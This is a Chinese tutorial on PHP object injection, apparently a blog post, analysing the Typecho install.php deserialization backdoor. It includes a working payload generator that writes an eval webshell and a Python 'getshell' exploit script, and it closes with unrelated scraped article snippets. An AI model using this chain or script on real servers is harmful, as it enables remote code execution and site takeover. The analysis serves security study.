刚好在学习PHP反序列化,听说有这么个后门,尝试着分析下,可能有写的不对的地方,还请指教。首先介绍下序列化与反序列化。序列化是对象串行化,对象是一种在内存中存储的数据类型,寿命随生成该对象的程序的终止而终止,为了持久使用对象的状态,将其通过serialize()函数进行序列化为一行字符串保存为文件,使用时通过unserialize()反序列化为对象。反序列化的过程就是重新执行一遍某个指定的程序流程。

PHP序列化后的格式

序列化函数:serialize。

反序列化函数:unserialize。

布尔型b:value

b:0 //false

b:1 //true

整数型i:value

i:1

i:-1

字符型s:length:"value";

s:4:"aaaa";

NULL型N;

数组a::{key, value pairs};

a:1:{i:1;s:1:"a";}

对象O::""::{};

O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}

PHP对象注入漏洞利用条件

反序列化漏洞是典型的对象注入漏洞。通过可控参数传递的值在一个方法中实例化另一个类,并调用类中存在漏洞的代码或者方法,达到利用漏洞的目的。

简单的dome:<?php

class syclover{

var $member;

var $filename;

function __wakeup(){

$this->save($this->filename,$this->member);

}

public function save($filename,$data){

file_put_contents($filename,$data);

}

}

unserialize($_GET['a']);

?>

url(生成一个文件):http://192.168.65.131/serialize/save_file.php?a=O:8:"syclover":2:{s:8:"filename";s:12:"/tmp/syc.php";s:6:"member";s:1:"1"}

利用条件:

1:存在可控输入点;

2:可控的类中存在可自动执行的方法(主要是PHP魔术方法);

3:自动执行的方法中存在漏洞或者调用的方法中存在漏洞。

php对象常见魔术方法

__construct:当对象被创建的时候调用;

__destruct:当对象被销毁的时候调用;

__toString:当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断、字符串拼接也会触发);

__sleep:序列化对象之前就调用此方法(其返回需要是一个数组)

__wakeup:反序列化恢复对象之前就调用此方法

__call:当调用对象中不存在的方法会自动调用此方法

__get():获取私有成员属性值会自动调用此方法,有一个参数传入你要获取的成员属性的名称,返回获取的属性值,被封装的私有属性不能直接获取值,但是如果你在类里面加上__get()方法,在使用“echo $p1->name”这样的语句直接获取值的时候就会自动调用__get($name)方法,将属性name传给参数$name,如果成员属性不封装private,对象本身就不会去自动调用这个方法。

POP链构造

大部分序列化攻击是在魔术方法中出现一些利用的漏洞,因为自动调用从而触发漏洞。 但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。<?php

class lemon {

protected $ClassObj;

function __construct() {

$this->ClassObj = new normal();

}

function __destruct() {

$this->ClassObj->action();

}

}

class normal {

function action() {

echo "hello";

}

}

class evil {

private $data;

function action() {

eval($this->data);

}

}

unserialize($_GET['d']);

注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。 生成poc:<?php

class lemon {

protected $ClassObj;

function __construct() {

$this->ClassObj = new evil();

}

}

class evil {

private $data = "phpinfo();";

}

echo urlencode(serialize(new lemon()));

echo "nr";

注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。 生成poc:O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

挖掘与防护

审计搜索serialize/unserialize函数。

防护:使用json_encode/json_decode代替serialize/unserialize

Typecho install.php 后门分析

看的时候配合这个bgm口感更佳:

第一步:入口文件install.phpu  typecho-mastertypecho-masterinstall.php

Typecho安装后默认不删除install.php,通过cookie中的__typecho_config字段传入,该参数格式为:php序列化后再base64加密的字符串:$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

紧接着实例化Typecho_Db类$db = new Typecho_Db($config['adapter'], $config['prefix']);

Typecho_Db类位于typecho-mastertypecho-mastervarTypechoDb.php

$config['adapter']在构造函数里面对应形参$adapterName,

Typecho_Db类实例化时会自动执行__construct方法, 该方法中存在一个字符串拼接的操作:$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

u  typecho-mastertypecho-mastervarTypechoFeed.php

当$adapterNam的值为new Typecho_Feed(实例化Typecho_Feed这个类),那么在使用.字符连接, $adapterNam所代表的类就被当成字符串处理, Typecho_Feed类中的__toString魔术方法会自动执行。

该方法中当self::ATOM1 == $this->_type时,if流程进入到如下位置:

其中$_items是个array,可通过addItem()方法传入。

$this->_items as $item之后,会访问一个类属性 $item['author']->screenname,那么$item['author']应该是一个实例化的类, screenname是类的一个属性。u  typecho-mastertypecho-mastervarTypechoRequest.php

Typecho_Request类中存在__get()方法,在直接设置私有属性值的时候会__set()方法为私有属性赋值 ,在直接获取私有属性值的时候,也会调用__get()方法

跟进后定位到get(),发现调用__applyFilter(),$key贯穿始终。

__applyFilter中的call_user_func()参数可控,能构造代码执行漏洞。

传入的value值不能为array,$filter值为eval之类的可执行函数。

如果给$item['author']赋值为new Typecho_Reques,那么$item['author']->screenname就是在访问Typecho_Reques类的私有方法了,这样__get()方法就会被自动执行。

然而Typecho_Reques类中并不存在Screenname属性。但是反序列化漏洞中一个比较有意思的点是,不管服务器端代码类中的方法是否被调用,只要存在,我们就可以在本地构造好需要执行的方法,进行序列化。当代码在服务端进行反序列化操作时,就会根据本地构造的流程进行执行。

那么,如何让将Typecho_Request类传入到$item['author']中楠?这里就需要借助Typecho_Feed类中的addItem()方法了。我们需要先将new Typecho_Request()赋予给一个数组的某个元素,因为addItem()方法处理的是数组,于是形式为:

Typecho_Feed->addItem('author' => new Typecho_Request()) ,

'author' => new Typecho_Request()对应的其实就是$item['author'],

可能看起来不是很直观,结合序列化的payload可以更好的理解这个过程,这里直接贴上大神写的__typecho_config的序列化Payload。<?php

/**

* Created by PhpStorm.

* User: RaI4over

* Date: 2017/10/19

* Time: 15:17

* 生成 _typecho_config 的值

*/

class Typecho_Feed

{

const RSS2 = 'RSS 2.0';

private $_type;

private $_charset;

private $_lang;

private $_items = array();

public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')

{

$this->_version = $version;

$this->_type = $type;

$this->_charset = $charset;

$this->_lang = $lang;

}

public function addItem(array $item)

{

$this->_items[] = $item;

}

}

class Typecho_Request

{

private $_params = array('screenName'=>'fputs(fopen('./usr/themes/default/img/c.php','w'),'<?php  @eval($_POST[a]);?>')');

private $_filter = array('assert');

//private $_filter = array('assert', array('Typecho_Response', 'redirect'));

}

$payload1 = new Typecho_Feed(5, 'ATOM 1.0');

$payload2 = new Typecho_Request();

$payload1->addItem(array('author' => $payload2));

$exp['adapter'] = $payload1;

$exp['prefix'] = 'Rai4over';

echo base64_encode(serialize($exp));

编写payload:

记得把php添加进环境变量import requests

import os

if __name__ == '__main__':

print ''' ____          ____      _ _  _

| __ ) _  _  |  _  __ _(_) || |  _____  _____ _ __

|  _ | | | |  | |_) / _` | | || |_ / _   / / _  '__|

| |_) | |_| |  |  _

|____/ __, |  |_| ___,_|_|  |_|  ___/ _/ ___|_|

|___/

'''

targert_url = 'http://www.xxxxxxxx.xyz';

rsp = requests.get(targert_url + "/install.php");

if rsp.status_code != 200:

exit('The attack failed and the problem file does not exist !!!')

else:

print 'You are lucky, the problem file exists, immediately attack !!!'

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", }

typecho_config = os.popen('php exp.php').read()

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',

'Cookie': 'antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lcg0; __typecho_lang=zh_CN;__typecho_config={typecho_config};'.format(typecho_config=typecho_config),

'Referer': targert_url}

url = targert_url + "/install.php?finish=1"

requests.get(url,headers=headers,allow_redirects=False)

shell_url = targert_url + '/usr/themes/default/img/c.php'

if requests.get(shell_url).status_code == 200:

print 'shell_url: ' + shell_url

else:

print "Getshell Fail!"

Ø  最外层$exp是数组,数组中的'adapter'是Typecho_Feed的实例$payload1,

Ø  $payload1的构造参数是'ATOM 1.0'用于控制分支;

Ø  $payload2是Typecho_Request的实例;

Ø  private $_filter ,private $_params是传给call_user_func的参数,也就是通过assert写shell ;

Ø  然后$payload2通过additem添加到$payload的$_items的变量中  ;

Ø  最后把$payload1添加到最外层的$exp数组中  ;

Ø  ps:因为install.php中有ob_start();所以构造好是没有回显的,但是也能写shell;

Ø  后面其他师傅说可以用Typecho_Response类中的redirect方法中的exit()得到回显。

总结:

这个后门跳跃性很大,流程也很复杂,正常的审计很难审出来吧,也不知道大牛们脑袋里面装的都是些啥东西,个人感觉可能是蜜罐捕捉到了吧。

参考:

https://paper.tuisec.win/detail/c1ecf917be22318.jsp

注:本文还参考了

nstall.php a data,通过Typecho install.php 后门理解PHP对象注入 - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com...相关推荐

  1. R语言stats包的setNames函数和data.table包的setnames函数为数据对象设置名称实战

    R语言stats包的setNames函数和data.table包的setnames函数为数据对象设置名称实战 目录 R语言stats包的setNames函数和data.table包的setnames函 ...

  2. PDO(PHP Data Object),Mysqli,以及对sql注入等问题的解决

    PDO(PHP Data Object),Mysqli,以及对sql注入等问题的解决 参考文章: (1)PDO(PHP Data Object),Mysqli,以及对sql注入等问题的解决 (2)ht ...

  3. data的值 如何初始化vue_理解Vue响应式系统

    深入理解 Vue 响应式系统 理解 Vue 响应式原理,到 computed.vuex 原理 前言 众所周知,一说到 vue 的响应式系统,就能马上想到 Object.defineProperty.数 ...

  4. Java常用类:Data()的用法,获得当前日期和时间对象date 定义对象Date date1 = new Date(36000000);获得包含的日期和时间 比较date和date1是否相等

    1.获得当前日期和时间对象date 2.定义对象Date date1 = new Date(36000000);获得包含的日期和时间 3.比较date和date1是否相等 4.比较date是在date ...

  5. 2019美亚杯团队赛

    这套题也做了一段时间了,主要是之前要放假要跑1500,晚上摆烂严重,现在放假了逼自己一把.先发出来,争取这两天做完 这几天也又受了一些刺激,还得更加努力吧,让自己优秀一些,也要瘦一些呀hhh(2023 ...

  6. 19美亚团队赛(完整),第一次做团队赛(火眼和美亚)

     还是先对镜像里的东西,大致翻一翻 1.在黑客路由器里,有一台设备的MAC地址为00:11:6B:47:4D:55,请问它的IP地址是什么? 192.168.0.102 去看Hacker_Router ...

  7. 每日安全资讯(2022-12-02)

    author:leadlife time:2022/12/02 paper - Last paper CVE-2020-9273 ProFTPd RCE 漏洞分析与利用 CVE-2022-22972 ...

  8. DevExpress v18.2版本亮点——Reporting篇(三)

    行业领先的.NET界面控件--DevExpress v18.2日前正式发布,本站将以连载的形式为大家介绍新版本新功能.本文将介绍了DevExpress Reporting v18.2 的新功能,新版3 ...

  9. data es集群master_Kubernetes Helm3 部署 ElasticSearch amp; Kibana 7 集群

    一.简介 Elasticsearch 是一个分布式的搜索和分析引擎,可以用于全文检索.结构化检索和分析,并能将这三者结合起来.设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便,轻松扩 ...

最新文章

  1. PMAboutView
  2. STM32开发 -- 低功耗模式详解(2)
  3. 倒出mysql库命令行_mysql命令行导入导出数据库
  4. nacos 怎么配置 里的配置ip_nacos集群配置
  5. ResNet、Faster RCNN、Mask RCNN 是专利算法吗?盘点何恺明参与发明的专利!
  6. android收货地址整理
  7. 移动端用户设置字体放大导致的问题
  8. python自动生成采集规则_python 织梦自动采集更新脚本
  9. 使用OpenCV将一个三角形图形扭曲到另一个三角形
  10. 创新洞察|为什么中国企业更擅长用户导向创新
  11. 项目(百万并发网络通信架构)10.3---send()函数的极限测试
  12. 利用PS进行图片格式及位数变换
  13. Oracle获取指定月最后一天日期(last_day函数)
  14. 程序员做笔记的利器:MarkDown软件
  15. Keil 5(MDK 5)中的 Pack Installer下载不了库文件包的解决替代方法(在Keil官网下载Packs库文件)
  16. 【观察】联想“内生外化”:能干肯干、真招实招加速中小企业数字化转型
  17. 通过Nginx反向代理提供网站内嵌
  18. 【BZOJ】【P4407】【于神之怒加强版】【题解】【数论】
  19. vue 用BMap百度地图 即时搜索功能
  20. 科研工作者简历常用词汇

热门文章

  1. 2003白金一代NBA选秀
  2. SAP中委外采购订单发料
  3. SAP 移动类型详解
  4. ABAP data extract 数据抽取总结
  5. SAP-CO.创建成本中心,作业类型,内部订单
  6. 左手高仿,右手二奢,这届年轻人的奢侈品消费有点迷
  7. 文件头_常见文件文件头
  8. 牛逼的python代码_牛逼了!Python代码补全利器,提高效率告别996!
  9. python编程需要安装什么软件_[零基础学pythyon]安装python编程环境
  10. 两个负数相减计算机如何表示,计算机如何表示整数